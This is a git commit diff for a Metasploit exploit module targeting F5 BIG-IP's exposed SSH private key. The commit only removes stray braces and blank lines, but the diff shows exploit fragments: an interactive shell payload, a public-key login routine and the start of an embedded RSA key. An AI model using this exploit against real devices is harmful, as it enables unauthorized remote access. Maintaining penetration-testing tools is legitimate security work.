Dropping extra curly braces on f5 module

Also dropping extra whitespace.
unstable
Tod Beardsley 2012-06-15 12:23:06 -05:00
parent 5006db7550
commit fe39642e27
1 changed files with 2 additions and 7 deletions

View File

@ -1,5 +1,3 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
@ -15,9 +13,8 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info, {
super(update_info(info,
'Name' => 'F5 BIG-IP SSH Private Key Exposure',
'Version' => '$Revision$',
'Description' => %q{
@ -48,7 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote
'DisclosureDate' => "Jun 11 2012",
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
'DefaultTarget' => 0,
}))
))
register_options(
[
@ -76,7 +73,6 @@ class Metasploit3 < Msf::Exploit::Remote
end
def do_login(user)
opt_hash = {
:auth_methods => ['publickey'],
:msframework => framework,
@ -128,7 +124,6 @@ class Metasploit3 < Msf::Exploit::Remote
end
end
def key_data
<<EOF
-----BEGIN RSA PRIVATE KEY-----